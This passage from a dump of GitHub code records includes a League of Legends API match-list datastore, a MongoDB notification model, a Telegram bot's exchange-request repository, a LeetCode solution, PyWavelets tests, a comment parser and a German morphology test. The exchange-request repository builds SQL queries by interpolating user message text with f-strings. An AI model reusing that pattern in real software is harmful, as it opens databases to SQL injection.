math.ceil(npulls_by_index):\n                by = \"by_date\"\n            else:\n                by = \"by_index\"\n            return by\n\n        calling_method = determine_calling_method(begin_time, end_time)\n\n        if calling_method == \"by_date\":\n            parameters[\"beginTime\"] = begin_time.int_timestamp * 1000\n            if \"endTime\" in query:\n                parameters[\"endTime\"] = min(\n                    (begin_time + riot_date_interval).int_timestamp * 1000,\n                    query[\"endTime\"],\n                )\n            else:\n                parameters[\"endTime\"] = (\n                    begin_time + riot_date_interval\n                ).int_timestamp * 1000\n        else:\n            parameters[\"beginIndex\"] = query[\"beginIndex\"]\n            parameters[\"endIndex\"] = query[\"beginIndex\"] + min(\n                riot_index_interval, query[\"maxNumberOfMatches\"]\n            )\n            parameters[\"endIndex\"] = int(parameters[\"endIndex\"])\n\n        if \"champion.ids\" in query:\n            champions = query[\"champion.ids\"]\n            parameters[\"champion\"] = champions\n        else:\n            champions = set()\n\n        if \"queues\" in query:\n            queues = {Queue(queue) for queue in query[\"queues\"]}\n            parameters[\"queue\"] = {QUEUE_IDS[queue] for queue in queues}\n        else:\n            queues = set()\n\n        endpoint = \"lol/match/v4/matchlists/by-account/{accountId}\".format(\n            accountId=query[\"accountId\"]\n        )\n        try:\n            data = self._get(endpoint=endpoint, parameters=parameters)\n        except APINotFoundError:\n            data = {\"matches\": []}\n\n        data[\"accountId\"] = query[\"accountId\"]\n        data[\"region\"] = query[\"platform\"].region.value\n        data[\"champion\"] = champions\n        data[\"queue\"] = queues\n        if calling_method == \"by_index\":\n            data[\"beginIndex\"] = parameters[\"beginIndex\"]\n            data[\"endIndex\"] = parameters[\"endIndex\"]\n            data[\"maxNumberOfMatches\"] = query[\"maxNumberOfMatches\"]\n        else:\n            data[\"beginTime\"] = parameters[\"beginTime\"]\n            data[\"endTime\"] = parameters[\"endTime\"]\n        for match in data[\"matches\"]:\n            match[\"accountId\"] = query[\"accountId\"]\n            match[\"region\"] = Platform(match[\"platformId\"]).region.value\n        return MatchListDto(data)\n\n    _validate_get_many_match_list_query = (\n        Query.has(\"accountIds\")\n        .as_(Iterable)\n        .also.has(\"platform\")\n        .as_(Platform)\n        .also.can_have(\"beginTime\")\n        .as_(int)\n        .also.can_have(\"endTime\")\n        .as_(int)\n        .also.can_have(\"beginIndex\")\n        .as_(int)\n        .also.can_have(\"endIndex\")\n        .as_(int)\n        .also.can_have(\"champion.ids\")\n        .as_(Iterable)\n        .also.can_have(\"queues\")\n        .as_(Iterable)\n    )\n\n    @get_many.register(MatchListDto)\n    @validate_query(_validate_get_many_match_list_query, convert_region_to_platform)\n    def get_many_match_list(\n        self, query: MutableMapping[str, Any], context: PipelineContext = None\n    ) -> Generator[MatchListDto, None, None]:\n        parameters = {\"platform\": query[\"platform\"].value}\n\n        if \"beginIndex\" in query:\n            parameters[\"beginIndex\"] = query[\"beginIndex\"]\n\n        if \"endIndex\" in query:\n            parameters[\"endIndex\"] = query[\"endIndex\"]\n\n        if \"champion.ids\" in query:\n            parameters[\"champion\"] = {query[\"champion.ids\"]}\n\n        if \"queues\" in query:\n            queues = {Queue(queue) for queue in query[\"queues\"]}\n            parameters[\"queue\"] = {QUEUE_IDS[queue] for queue in queues}\n        else:\n            queues = set()\n\n        def generator():\n            for id in query[\"accountIds\"]:\n                endpoint = \"lol/match/v4/matchlists/by-account/{accountId}\".format(\n                    accountId=id\n                )\n                try:\n                    data = self._get(endpoint=endpoint, parameters=parameters)\n                except APINotFoundError as error:\n                    raise NotFoundError(str(error)) from error\n\n                data[\"accountId\"] = id\n                data[\"region\"] = query[\"platform\"].region.value\n                if \"beginIndex\" in query:\n                    data[\"beginIndex\"] = query[\"beginIndex\"]\n                if \"endIndex\" in query:\n                    data[\"endIndex\"] = query[\"endIndex\"]\n                if \"champion.ids\" in query:\n                    data[\"champion\"] = parameters[\"champion\"]\n                if \"queues\" in query:\n                    parameters[\"queue\"] = queues\n                yield MatchListDto(data)\n\n        return generator()\n\n    _validate_get_timeline_query = (\n        Query.has(\"id\").as_(int).also.has(\"platform\").as_(Platform)\n    )\n\n    @get.register(TimelineDto)\n    @validate_query(_validate_get_timeline_query, convert_region_to_platform)\n    def get_match_timeline(\n        self, query: MutableMapping[str, Any], context: PipelineContext = None\n    ) -> TimelineDto:\n        parameters = {\"platform\": query[\"platform\"].value}\n        endpoint = \"lol/match/v4/timelines/by-match/{id}\".format(id=query[\"id\"])\n        try:\n            data = self._get(endpoint=endpoint, parameters=parameters)\n        except APINotFoundError as error:\n            raise NotFoundError(str(error)) from error\n\n        data[\"matchId\"] = query[\"id\"]\n        data[\"region\"] = query[\"platform\"].region.value\n        return TimelineDto(data)\n\n    _validate_get_many_timeline_query = (\n        Query.has(\"ids\").as_(Iterable).also.has(\"platform\").as_(Platform)\n    )\n\n    @get_many.register(TimelineDto)\n    @validate_query(_validate_get_many_timeline_query, convert_region_to_platform)\n    def get_many_match_timeline(\n        self, query: MutableMapping[str, Any], context: PipelineContext = None\n    ) -> Generator[TimelineDto, None, None]:\n        parameters = {\"platform\": query[\"platform\"].value}\n\n        def generator():\n            for id in query[\"ids\"]:\n                endpoint = \"lol/match/v4/timelines/by-match/{id}\".format(id=id)\n                try:\n                    data = self._get(endpoint=endpoint, parameters=parameters)\n                except APINotFoundError as error:\n                    raise NotFoundError(str(error)) from error\n\n                data[\"matchId\"] = id\n                data[\"region\"] = query[\"platform\"].region.value\n                yield TimelineDto(data)\n\n        return generator()\n","repo_name":"meraki-analytics/cassiopeia","sub_path":"cassiopeia/datastores/kernel/match.py","file_name":"match.py","file_ext":"py","file_size_in_byte":11742,"program_lang":"python","lang":"en","doc_type":"code","stars":522,"dataset":"github-code","pt":"36"}
{"seq_id":"70452251304","text":"from ..import model\nfrom ...lib import config\nimport logging, jwt\n_LOGGER = logging.getLogger()\n\nclass Notification:\n    def __init__(self):\n        _LOGGER.info(\"[init] Notification\")\n        self.model = model.model('notification')\n\n    def _mapOne(self, rDocument):\n        rDocument[\"_id\"] = str(rDocument[\"_id\"])\n        return rDocument\n\n    def _map(self, rDocuments):\n        for (i, doc) in enumerate(rDocuments):\n            rDocuments[i][\"_id\"] = str(doc[\"_id\"])\n        return rDocuments\n\n    def get(self, doc, ifNone={}):\n        _LOGGER.info(\"getting... \")\n        _LOGGER.info(f\"{doc}\")\n        rDocument = [self.model.find_one(doc)]\n        _LOGGER.info(rDocument)\n        if(rDocument == [None]): return ifNone\n        return list(map(self._mapOne, rDocument))[0]\n\n    def getMany(self, doc):\n        res = [self.model.find(doc)]\n        _LOGGER.info(res)\n        return list(map(self._map, res))\n\n    # def new(self,user,doc):\n    def new(self, doc):\n        _LOGGER.info(\"inserting... \")\n        _LOGGER.info(f\"{doc}\")\n        # res = self.model.update_one(user, {\"$set\": doc})\n        res = self.model.insert_one(doc)\n        _LOGGER.info(res)\n        return 0\n        # return str(res.documentIds[0])\n\n    def redact(self, _id, doc):\n        _LOGGER.info(\"redacting... \")\n        _LOGGER.info(f\"{doc}\")\n        res = self.model.update_one({\"_id\": _id}, {\"$set\": doc})\n        _LOGGER.info(res)\n        return 0\n        # return str(res.documentIds[0])\n\n    # - RESERVED FOR FUTER UPDATE\n    # def delete(self,doc):\n    #     _LOGGER.info(\"deleting... \")\n    #     _LOGGER.info(f\"{doc}\")\n    #     res = self.model.delete_one(doc)\n    #     _LOGGER.info(res)\n    #     return 0","repo_name":"FalconLee1011/tetrapod-backend","sub_path":"tetrapod_backend/db/models/notification.py","file_name":"notification.py","file_ext":"py","file_size_in_byte":1698,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"36"}
{"seq_id":"17910558872","text":"import re\nfrom decimal import Decimal\nfrom typing import List, Optional\n\nfrom adapters.repositories.repository import BaseRepository\nfrom entities.entities import ExchangeRequest, UserBalance\n\n\nclass ExchangeRequestRepository(BaseRepository):\n\n    @staticmethod\n    async def parse_message(msg: str) -> List[Optional[str]]:\n        \"\"\"\n        Parse income message and return amount and currencies\n\n        :param msg: - message for parsing\n        :return: list with amount, from which currency to do operation, to which currency to do operation\n        \"\"\"\n\n        pattern = r'(\\w+)\\s+([\\d.]+)\\s+([A-Za-z]+)\\s*[-/.\\\\_ ]\\s*([A-Za-z]+)'\n        match = re.match(pattern, msg)\n        if match:\n            return match.group(1).lower(), Decimal(match.group(2)), match.group(3), match.group(4)\n        else:\n            return None, None, None, None\n\n    async def create_exchange_request(self, entity: ExchangeRequest):\n\n        await self._db_session.execute(\n            f'''insert into exchange_requests(\n                msg_id, external_user_id, chat_id, status, msg_text,\n                currency_from, currency_to, amount, created_at, updated_at,\n                price\n            ) values\n            (\n                {entity.msg_id}, {entity.external_user_id}, {entity.chat_id}, '{entity.status}', '{entity.msg_text}',\n                '{entity.currency_from}', '{entity.currency_to}', {entity.amount}, '{entity.created_at}'::timestamp,\n                '{entity.updated_at}'::timestamp, {entity.price}\n            );'''\n        )\n\n    async def get_data_for_week(self, entity: UserBalance):\n\n        await self._db_session.fetch(\n            f'''\n                select sum(amount), currency_from, currency_to \n                from exchange_requests \n                where external_user_id = {entity.external_user_id} \n                  and status = 'finished' \n                group by currency_from, currency_to;\n            '''\n        )\n","repo_name":"NightTarlis/telegram-bot-test","sub_path":"adapters/repositories/exchange_request.py","file_name":"exchange_request.py","file_ext":"py","file_size_in_byte":1950,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"13333071847","text":"# A self-dividing number is a number that is divisible by every digit it contains.\n#\n# For example, 128 is a self-dividing number because 128 % 1 == 0, 128 % 2 == 0, and 128 % 8 == 0.\n# A self-dividing number is not allowed to contain the digit zero.\n#\n# Given two integers left and right, return a list of all the self-dividing numbers in the range [left, right].\n\nclass Solution:\n    def selfDividingNumbers(self, left: int, right: int) -> List[int]:\n        result = []\n        \n        for n in range(left, right + 1):                \n            valid = True            \n            for c in str(n):\n                if c == '0' or n % int(c) != 0:\n                    valid = False\n                    break\n            \n            if valid:\n                result.append(n)\n        \n        return result\n\n\n# Math","repo_name":"marco-prg/coding-challenges","sub_path":"Math - Greedy/728. [Easy] Self Dividing Numbers.py","file_name":"728. [Easy] Self Dividing Numbers.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"33278905401","text":"#!/usr/bin/env python\n\nfrom __future__ import division, print_function, absolute_import\n\nimport numpy as np\nfrom numpy.testing import run_module_suite, assert_allclose, assert_\n\nimport pywt\n\n\ndef test_upcoef_docstring():\n    data = [1, 2, 3, 4, 5, 6]\n    (cA, cD) = pywt.dwt(data, 'db2', 'smooth')\n    rec = pywt.upcoef('a', cA, 'db2') + pywt.upcoef('d', cD, 'db2')\n    expect = [-0.25, -0.4330127, 1., 2., 3., 4., 5.,\n              6., 1.78589838, -1.03108891]\n    assert_allclose(rec, expect)\n    n = len(data)\n    rec = (pywt.upcoef('a', cA, 'db2', take=n) +\n           pywt.upcoef('d', cD, 'db2', take=n))\n    assert_allclose(rec, data)\n\n\ndef test_upcoef_reconstruct():\n    data = np.arange(3)\n    a = pywt.downcoef('a', data, 'haar')\n    d = pywt.downcoef('d', data, 'haar')\n\n    rec = (pywt.upcoef('a', a, 'haar', take=3) +\n           pywt.upcoef('d', d, 'haar', take=3))\n    assert_allclose(rec, data)\n\n\ndef test_downcoef_multilevel():\n    rstate = np.random.RandomState(1234)\n    r = rstate.randn(16)\n    nlevels = 3\n    # calling with level=1 nlevels times\n    a1 = r.copy()\n    for i in range(nlevels):\n        a1 = pywt.downcoef('a', a1, 'haar', level=1)\n    # call with level=nlevels once\n    a3 = pywt.downcoef('a', r, 'haar', level=nlevels)\n    assert_allclose(a1, a3)\n\n\ndef test_compare_downcoef_coeffs():\n    rstate = np.random.RandomState(1234)\n    r = rstate.randn(16)\n    # compare downcoef against wavedec outputs\n    for nlevels in [1, 2, 3]:\n        for wavelet in pywt.wavelist():\n            wavelet = pywt.Wavelet(wavelet)\n            max_level = pywt.dwt_max_level(r.size, wavelet.dec_len)\n            if nlevels <= max_level:\n                a = pywt.downcoef('a', r, wavelet, level=nlevels)\n                d = pywt.downcoef('d', r, wavelet, level=nlevels)\n                coeffs = pywt.wavedec(r, wavelet, level=nlevels)\n                assert_allclose(a, coeffs[0])\n                assert_allclose(d, coeffs[1])\n\n\ndef test_upcoef_multilevel():\n    rstate = np.random.RandomState(1234)\n    r = rstate.randn(4)\n    nlevels = 3\n    # calling with level=1 nlevels times\n    a1 = r.copy()\n    for i in range(nlevels):\n        a1 = pywt.upcoef('a', a1, 'haar', level=1)\n    # call with level=nlevels once\n    a3 = pywt.upcoef('a', r, 'haar', level=nlevels)\n    assert_allclose(a1, a3)\n\n\ndef test_wavelet_repr():\n    from pywt._extensions import _pywt\n    wavelet = _pywt.Wavelet('sym8')\n\n    repr_wavelet = eval(wavelet.__repr__())\n\n    assert_(wavelet.__repr__() == repr_wavelet.__repr__())\n\n\ndef test_dwt_max_level():\n    assert_(pywt.dwt_max_level(16, 2) == 4)\n    assert_(pywt.dwt_max_level(16, 8) == 1)\n    assert_(pywt.dwt_max_level(16, 9) == 1)\n    assert_(pywt.dwt_max_level(16, 10) == 0)\n    assert_(pywt.dwt_max_level(16, 18) == 0)\n\n\nif __name__ == '__main__':\n    run_module_suite()\n","repo_name":"emacsenli/pywt","sub_path":"pywt/tests/test__pywt.py","file_name":"test__pywt.py","file_ext":"py","file_size_in_byte":2818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"35"}
{"seq_id":"9160532149","text":"from __future__ import annotations\n\nimport re\nfrom typing import List\n\nfrom docinpy import Struct\n\n\"\"\"\nThis module is for parse and extract comments\n\"\"\"\n\n# three_quote_pattern is multi-line comment pattern\nthree_quote_pattern = re.compile(r'(^|\\n)\\s*?\"\"\"([^(\"\"\")]*?)\"\"\"', re.DOTALL)\n\n\ndef prepare_raw_comment_struct(parent_src: str) -> List[Struct]:\n    min_pos_for_line = get_min_pos_for_line(parent_src)\n    min_line_no = 1\n    comment_struct_list = []\n    matches = three_quote_pattern.finditer(parent_src)\n    for match in matches:\n        comment_content = match.group(2)\n        start = match.group(1)\n        start_pos, end_pos = match.span()\n        start_pos += len(start)\n        start_line_no = find_line_no(start_pos, min_line_no, min_pos_for_line)\n        end_line_no = find_line_no(end_pos, start_line_no, min_pos_for_line)\n        min_line_no = end_line_no\n        comment_pos = (start_line_no, end_line_no)\n        comment_struct_list.append(Struct(\"raw_comment\", comment_content, comment_pos))\n    return comment_struct_list\n\n\ndef get_min_pos_for_line(src: str) -> List[int]:\n    src_lines = src.split(\"\\n\")\n    min_pos_for_line = [0]\n    for line in src_lines:\n        min_pos_for_line.append(min_pos_for_line[-1] + len(line) + 1)\n    return min_pos_for_line\n\n\ndef find_line_no(pos: int, min_line_no, min_pos_for_line: List[int]) -> int:\n    for i in range(min_line_no - 1, len(min_pos_for_line)):\n        if pos < min_pos_for_line[i]:\n            return i\n\n\nsection_pattern = re.compile(r\"(\\n\\s*?#+ .*)\")\n\n\ndef parse_raw_comments(root_struct: Struct):\n    new_children = []\n    for i, struct in enumerate(root_struct.children):\n        if struct.struct_type == \"raw_comment\":\n            comment_content = struct.obj\n            comment_structs = process_raw_comment_content(comment_content)\n            new_children.extend(comment_structs)\n        else:\n            new_children.append(struct)\n            if struct.struct_type == \"class\":\n                parse_raw_comments(struct)\n    root_struct.children = new_children\n\n\ndef process_raw_comment_content(comment_content: str) -> List[Struct]:\n    min_pos_for_line = get_min_pos_for_line(comment_content)\n    min_line_no = 1\n\n    structs_in_comment = []\n    # Find all sections which should start with one or more # followed by a space\n    section_matches = section_pattern.finditer(comment_content)\n    last_section_end = 0\n    for section_match in section_matches:\n        section_markdown = section_match.group(1)[1:].lstrip()\n        # find first non-# character\n        section_title = section_markdown.lstrip(\"#\")\n        section_level = len(section_markdown) - len(section_title)\n        section_title = section_title.strip()\n        section_start, section_end = section_match.span()\n        start_line_no = find_line_no(section_start, min_line_no, min_pos_for_line)\n        end_line_no = find_line_no(section_end, start_line_no, min_pos_for_line)\n        min_line_no = end_line_no\n        comment_text_before_section = comment_content[last_section_end + 1:section_start]\n        last_section_end = section_end\n        if len(comment_text_before_section) > 0:\n            structs_in_comment.append(\n                Struct(\"comment\", comment_text_before_section, (0, start_line_no)))\n        structs_in_comment.append(\n            Struct(\"section\", (section_title, section_level),\n                   (start_line_no, end_line_no)))\n    if last_section_end < len(comment_content):\n        remaining_text = comment_content[last_section_end:].strip()\n        if len(remaining_text) > 0:\n            last_section_end_line_no = find_line_no(last_section_end, min_line_no, min_pos_for_line)\n            structs_in_comment.append(Struct(\"comment\", remaining_text,\n                                         (last_section_end_line_no, len(min_pos_for_line)-1)))\n    return structs_in_comment\n","repo_name":"EvoEvolver/EvoNote","sub_path":"docinpy/comment_parser.py","file_name":"comment_parser.py","file_ext":"py","file_size_in_byte":3859,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"35"}
{"seq_id":"32208444110","text":"#!/usr/bin/env python3\n# test_paradigm_snapshot.py\n# test DWDSmor paradigm snapshots for regression\n# Andreas Nolda 2023-11-30\n\nimport io\nimport csv\nfrom os import path\n\nfrom pytest import fixture\n\nimport sfst_transduce\n\nfrom paradigm import output_paradigms\n\nfrom test.snapshot import tsv_snapshot_test\n\n\nTESTDIR = path.dirname(__file__)\n\nBASEDIR = path.dirname(TESTDIR)\n\nLIBDIR = path.join(BASEDIR, \"lib\")\n\n\nADJECTIVE_POS = \"ADJ\"\n\nADJECTIVE_LEMMAS = [\"lila\",      # AdjPos0\n                    \"pleite\",    # AdjPosPred\n                    \"Berliner\",  # AdjPos0AttrSubst\n                    \"derartig\",  # AdjPos\n                    \"hell\",      # Adj_0\n                    \"bunt\",      # Adj_e\n                    \"neu\",       # Adj_0, Adj_e\n                    \"warm\",      # Adj_$\n                    \"kalt\",      # Adj_$e\n                    \"teuer\",     # Adj-el-er_0\n                    \"dunkel\",    # Adj-el-er_0, Adj-el-er_$\n                    \"gut\",       # AdjPos, AdjComp, AdjSup\n                    \"viel\",      # AdjPos, AdjPos0-viel, AdjComp0-mehr, AdjSup\n                    \"hoch\"]      # AdjPosPred, AdjPosAttr, AdjComp, AdjSup\n\n\nARTICLE_POS = \"ART\"\n\nARTICLE_LEMMAS = [\"die\",    # ArtDef\n                  \"eine\",   # ArtIndef, ArtIndef-n\n                  \"keine\"]  # ArtNeg\n\n\nCARDINAL_POS = \"CARD\"\n\nCARDINAL_LEMMAS = [\"eine\",    # Card-ein\n                   \"zwei\",    # Card-zwei\n                   \"vier\",    # Card-vier\n                   \"sieben\",  # Card-sieben\n                   \"null\"]    # Card0\n\n\nDEMONSTRATIVE_PRONOUN_POS = \"DEM\"\n\nDEMONSTRATIVE_PRONOUN_LEMMAS = [\"die\",          # DemDef\n                                \"diese\",        # Dem-dies\n                                \"solche\",       # Dem-solch\n                                \"alldem\",       # Dem-alldem\n                                \"jene\",         # Dem\n                                \"dergleichen\",  # Dem0\n                                \"diejenige\"]    # ArtDef-der+DemMasc, ArtDef-den+DemMasc ...\n\n\nFRACTION_POS = \"FRAC\"\n\nFRACTION_LEMMAS = [\"anderthalb\"]  # Frac0\n\n\nINDEFINITE_PRONOUN_POS = \"INDEF\"\n\nINDEFINITE_PRONOUN_LEMMAS = [\"welche\",        # Indef-welch\n                             \"irgendwelche\",  # Indef-irgendwelch\n                             \"alle\",          # Indef-all\n                             \"jede\",          # Indef-jed\n                             \"jegliche\",      # Indef-jeglich\n                             \"sämtliche\",     # Indef-saemtlich\n                             \"beide\",         # Indef-beid\n                             \"einige\",        # Indef-einig\n                             \"manche\",        # Indef-manch\n                             \"mehrere\",       # Indef-mehrer\n                             \"genug\",         # Indef0\n                             \"eine\",          # Indef-ein\n                             \"irgendeine\",    # Indef-irgendein\n                             \"keine\",         # Indef-kein\n                             \"etwas\",         # IProNeut\n                             \"jemand\",        # IProMasc\n                             \"jedermann\",     # IPro-jedermann\n                             \"man\",           # IPro-man\n                             \"unsereiner\",    # IPro-unsereiner\n                             \"unsereins\",     # IPro-unsereins\n                             \"wer\",           # IProMascNomSg, IProMascAccSg, IProMascDatSg, IProMascGenSg\n                             \"was\"]           # IProNeutNomSg, IProNeutAccSg, IProNeutDatSg, IProNeutGenSg\n\n\nINTERROGATIVE_PRONOUN_POS = \"WPRO\"\n\nINTERROGATIVE_PRONOUN_LEMMAS = [\"wer\",     # WProMascNomSg, WProMascAccSg, WProMascDatSg, WProMascGenSg, WProNeutNomSg ...\n                                \"was\",     # WProMascNomSg, WProMascAccSg, WProMascDatSg, WProMascGenSg, WProNeutNomSg ...\n                                \"welche\"]  # W-welch\n\n\nNAME_POS = \"NPROP\"\n\nNAME_LEMMAS = [\"Atlantik\",   # NameMasc_0, NameMasc_s\n               \"Andreas\",    # NameMasc_apos\n               \"Rhein\",      # NameMasc_es\n               \"Opa\",        # NameMasc_s\n               \"Berlin\",     # NameNeut_s\n               \"Ostsee\",     # NameFem_0\n               \"Felicitas\",  # NameFem_apos\n               \"Oma\",        # NameFem_s\n               \"Alpen\"]      # NameNoGend/Pl_x\n\n\nNOUN_POS = \"NN\"\n\nNOUN_LEMMAS = [\"Jazz\",         # NMasc/Sg_0\n               \"Kitsch\",       # NMasc/Sg_es\n               \"Adel\",         # NMasc/Sg_s\n               \"Bau\",          # NMasc/Sg_es, NMasc/Pl_x\n               \"Blues\",        # NMasc_0_x\n               \"Dezember\",     # NMasc_0_0, NMasc_s_0\n               \"Januar\",       # NMasc_0_e, NMasc_s_e\n               \"Zirkus\",       # NMasc_0_e~ss\n               \"Atlas\",        # NMasc_0_e~ss, NMasc_es_e~ss, NMasc-as0/anten, NMasc-as/anten\n               \"Globus\",       # NMasc_0_e~ss, NMasc_es_e~ss, NMasc-us0/en, NMasc-us/en\n               \"Embryo\",       # NMasc_0_nen, NMasc_0_s, NMasc_s_nen, NMasc_s_s, NNeut_0_nen ...\n               \"Intercity\",    # NMasc_0_s\n               \"Freund\",       # NMasc_es_e\n               \"Bus\",          # NMasc_es_e~ss\n               \"Arzt\",         # NMasc_es_$e\n               \"Block\",        # NMasc_es_$e, NMasc_es_s\n               \"Leib\",         # NMasc_es_er\n               \"Gott\",         # NMasc_es_$er\n               \"Schmerz\",      # NMasc_es_en\n               \"Crash\",        # NMasc_es_es, NMasc_es_s\n               \"Tennismatch\",  # NMasc_es_es, NMasc_es_s, NNeut_es_es ...\n               \"Daumen\",       # NMasc_s_x\n               \"Ski\",          # NMasc_s_x, NMasc_s_er\n               \"Garten\",       # NMasc_s_$x\n               \"Engel\",        # NMasc_s_0\n               \"Vize\",         # NMasc_s_0, NMasc_s_s, NFem_0_0, NFem_0_s\n               \"Apfel\",        # NMasc_s_$\n               \"Abend\",        # NMasc_s_e\n               \"Unfall\",       # NMasc_s_$e\n               \"Irrtum\",       # NMasc_s_$er\n               \"Direktor\",     # NMasc_s_en\n               \"Prototyp\",     # NMasc_s_en, NMasc_en_en, NNeut_s_en\n               \"Muskel\",       # NMasc_s_n\n               \"Opa\",          # NMasc_s_s\n               \"Dirigent\",     # NMasc_en_en\n               \"Affe\",         # NMasc_n_n\n               \"Junge\",        # NMasc_n_n, NMasc-Adj, NNeut-Adj, NFem-Adj\n               \"Gedanke\",      # NMasc-ns\n               \"Virus\",        # NMasc-us0/en, NNeut-us0/en\n               \"Rhythmus\",     # NMasc-us/en\n               \"Modus\",        # NMasc-us0/i\n               \"Deutsche\",     # NMasc-Adj, NNeut-Adj/Sg, NFem-Adj\n               \"Abseits\",      # NNeut/Sg_0\n               \"Ausland\",      # NNeut/Sg_es\n               \"Verständnis\",  # NNeut/Sg_es~ss\n               \"Internet\",     # NNeut/Sg_s\n               \"Ostern\",       # NNeut_0_x\n               \"Zuhause\",      # NNeut_0_0\n               \"Nichts\",       # NNeut_0_e\n               \"Foyer\",        # NNeut_0_s\n               \"Spiel\",        # NNeut_es_e\n               \"Tablett\",      # NNeut_es_e, NNeut_es_s\n               \"Zeugnis\",      # NNeut_es_e~ss\n               \"Floß\",         # NNeut_es_$e\n               \"Lied\",         # NNeut_es_er\n               \"Buch\",         # NNeut_es_$er\n               \"Ohr\",          # NNeut_es_en\n               \"Zeichen\",      # NNeut_s_x\n               \"Examen\",       # NNeut_s_x, NNeut-en/ina\n               \"Feuer\",        # NNeut_s_0\n               \"Kloster\",      # NNeut_s_$\n               \"Signal\",       # NNeut_s_e\n               \"Auge\",         # NNeut_s_n\n               \"Herz\",         # NNeut-Herz\n               \"Indiz\",        # NNeut_es_ien\n               \"Material\",     # NNeut_s_ien\n               \"Sofa\",         # NNeut_s_s\n               \"Komma\",        # NNeut_s_s, NNeut-a/ata\n               \"Risiko\",       # NNeut_s_s, NNeut-o/en\n               \"Cello\",        # NNeut_s_s, NNeut-o/i\n               \"Dogma\",        # NNeut-a/en\n               \"Paradoxon\",    # NNeut-on/a\n               \"Stadion\",      # NNeut-on/en\n               \"Maximum\",      # NNeut-um/a\n               \"Museum\",       # NNeut-um/en\n               \"Innere\",       # NNeut-Inner\n               \"Ruhe\",         # NFem/Sg_0\n               \"Jeans\",        # NFem_0_x\n               \"Tochter\",      # NFem_0_$\n               \"Milch\",        # NFem_0_e, NFem_0_en\n               \"Kenntnis\",     # NFem_0_e~ss\n               \"Wand\",         # NFem_0_$e\n               \"Frau\",         # NFem_0_en\n               \"Werkstatt\",    # NFem_0_$en\n               \"Hilfe\",        # NFem_0_n\n               \"Oma\",          # NFem_0_s\n               \"Freundin\",     # NFem-in\n               \"Firma\",        # NFem-a/en\n               \"Basis\",        # NFem-is/en\n               \"Kosten\",       # NNoGend/Pl_x\n               \"Leute\"]        # NNoGend/Pl_0\n\n\nORDINAL_POS = \"ORD\"\n\nORDINAL_LEMMAS = [\"erste\"]  # Ord\n\n\nPOSSESSIVE_PRONOUN_POS = \"POSS\"\n\nPOSSESSIVE_PRONOUN_LEMMAS = [\"meine\",    # Poss\n                             \"unsere\",   # Poss-er\n                             \"Deinige\",  # Poss/Wk\n                             \"Eurige\"]   # Poss/Wk-er\n\n\nPERSONAL_PRONOUN_POS = \"PPRO\"\n\nPERSONAL_PRONOUN_LEMMAS = [\"ich\",       # PPro1NomSg, PPro1AccSg, PPro1DatSg, PPro1GenSg\n                           \"du\",        # PPro2NomSg, PPro2AccSg, PPro2DatSg, PPro2GenSg\n                           \"er\",        # PProMascNomSg, PProMascAccSg, PProMascDatSg, PProMascGenSg\n                           \"es\",        # PProNeutNomSg, PProNeutAccSg, PProNeutDatSg, PProNeutGenSg, PProNeutNomSg-s, PProNeutAccSg-s\n\n                           \"wir\",       # PPro1NomPl, PPro1AccPl, PPro1DatPl, PPro1GenPl\n                           \"ihr\",       # PPro2NomPl, PPro2AccPl, PPro2DatPl, PPro2GenPl\n                           \"sie\",       # PProFemNomSg, PProFemAccSg, PProFemDatSg, PProFemGenSg, PProNoGendNomPl ...\n\n                           \"mich\",      # PRefl1AccSg, PRefl1DatSg\n                           \"dich\",      # PRefl2AccSg, PRefl2DatSg\n                           \"uns\",       # PRefl1Pl\n                           \"euch\",      # PRefl2Pl\n                           \"sich\",      # PRefl3\n                           \"einander\"]  # PRecPl\n\n\nRELATIVE_PRONOUN_POS = \"REL\"\n\nRELATIVE_PRONOUN_LEMMAS = [\"die\",     # Rel\n                           \"welche\"]  # Rel-welch\n\n\nVERB_POS = \"V\"\n\nVERB_LEMMAS = [\"sagen\",        # VVReg\n               \"versagen\",     # VVReg\n               \"absagen\",      # VVReg\n               \"klettern\",     # VVReg-el-er\n               \"verwechseln\",  # VVReg-el-er\n               \"winken\",       # VVReg, VVPP-en\n               \"brauchen\",     # VVReg, VVPastSubjReg\n               \"fassen\",       # VVReg, VVPres1_Imp, VVPres2, VVPastIndReg, VVPastSubjReg, VVPP-t\n               \"fragen\",       # VVReg, VVPres1_Imp, VVPres2, VVPastIndStr, VVPastSubjStr, VVPP-t\n               \"schrecken\",    # VVReg, VVPres1, VVPres2_Imp0, VVPastIndStr, VVPastSubjStr, VVPP-t\n               \"rennen\",       # VVPres, VVPastIndReg, VVPastSubjReg, VVPP-t\n               \"mahlen\",       # VVPres, VVPastIndReg, VVPastSubjReg, VVPP-en\n               \"gehen\",        # VVPres, VVPastStr, VVPP-en\n               \"kommen\",       # VVPres, VVPastIndStr, VVPastSubjStr, VVPP-en\n               \"gewinnen\",     # VVPres, VVPastIndStr, VVPastSubjStr, VVPastSubjOld, VVPP-en\n               \"backen\",       # VVPres, VVPres1_Imp, VVPres2, VVPastIndReg, VVPastIndStr, VVPastSubjReg, VVPastSubjStr, VVPP-en\n               \"sehen\",        # VVPres1, VVPres2_Imp, VVPastIndStr, VVPastSubjStr, VVPP-en\n               \"geben\",        # VVPres1, VVPres2_Imp0, VVPastIndStr, VVPastSubjStr, VVPP-en\n               \"empfehlen\",    # VVPres1, VVPres2_Imp0, VVPastIndStr, VVPastSubjStr, VVPastSubjOld, VVPP-en\n               \"treten\",       # VVPres1, VVPres2t_Imp0, VVPastIndStr, VVPastSubjStr, VVPP-en\n               \"gelten\",       # VVPres1, VVPres2t_Imp0, VVPastIndStr, VVPastSubjStr, VVPastSubjOld, VVPP-en\n               \"laufen\",       # VVPres1_Imp, VVPres2, VVPastStr, VVPP-en\n               \"haben\" ,       # VVPres1_Imp, VVPres2, VVPastIndReg, VVPastSubjReg, VVPP-t\n               \"fahren\",       # VVPres1_Imp, VVPres2, VVPastIndStr, VVPastSubjStr, VVPP-en\n               \"verhalten\",    # VVPres1_Imp, VVPres2t, VVPastStr, VVPP-en\n               \"wissen\",       # VMPresSg, VMPresPl, VVPastIndReg, VVPastSubjReg, VVPP-t\n               \"können\",       # VMPresSg, 